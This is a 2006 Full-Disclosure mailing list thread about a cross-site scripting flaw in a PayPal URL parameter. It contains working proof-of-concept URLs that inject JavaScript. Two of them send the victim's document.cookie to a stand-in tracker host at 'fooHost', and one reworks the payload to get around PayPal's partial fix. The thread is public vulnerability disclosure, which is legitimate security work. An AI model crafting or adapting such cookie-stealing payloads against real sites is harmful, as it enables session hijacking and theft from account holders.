[Full-disclosure] alert()

[Matthew Flaschen]

Hmm, I got an email from Paypal, saying

"Thank you for bringing this incident of suspicious activity to our
attention. PayPal will investigate this activity immediately and contact
you further if any additional information is required.[...]"

I'm fairly certain they're referring to this exploit, which I CCed them
on my previous post.

Also, the POC I posted no longer works.  It looks like Paypal is no
longer unescaping double quotation marks.  Thus, the script fails to
append the cookie.  At any rate, just changing the double quotes to
single quotes makes the POC work again:

https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location='http://fooHost/tracker.php?'%2Bdocument.cookie

Matt Flaschen

Matthew Flaschen wrote:
> Good find.  How about using it to steal the entire PayPal cookie, though:
>  https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location=%22http://fooHost/tracker.php?%22%2Bdocument.cookie;
> 
> 
> auto113922 at hush.ai wrote:
>> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-
>> outside&voice=javascript:document.write('heh');alert('bl00p');
>>
>>
>>
>> Concerned about your privacy? Instantly send FREE secure email, no account required
>> http://www.hushmail.com/send?l=480
>>
>> Get the best prices on SSL certificates from Hushmail
>> https://www.hushssl.com?l=485
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 250 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20061105/e53d7a03/attachment.bin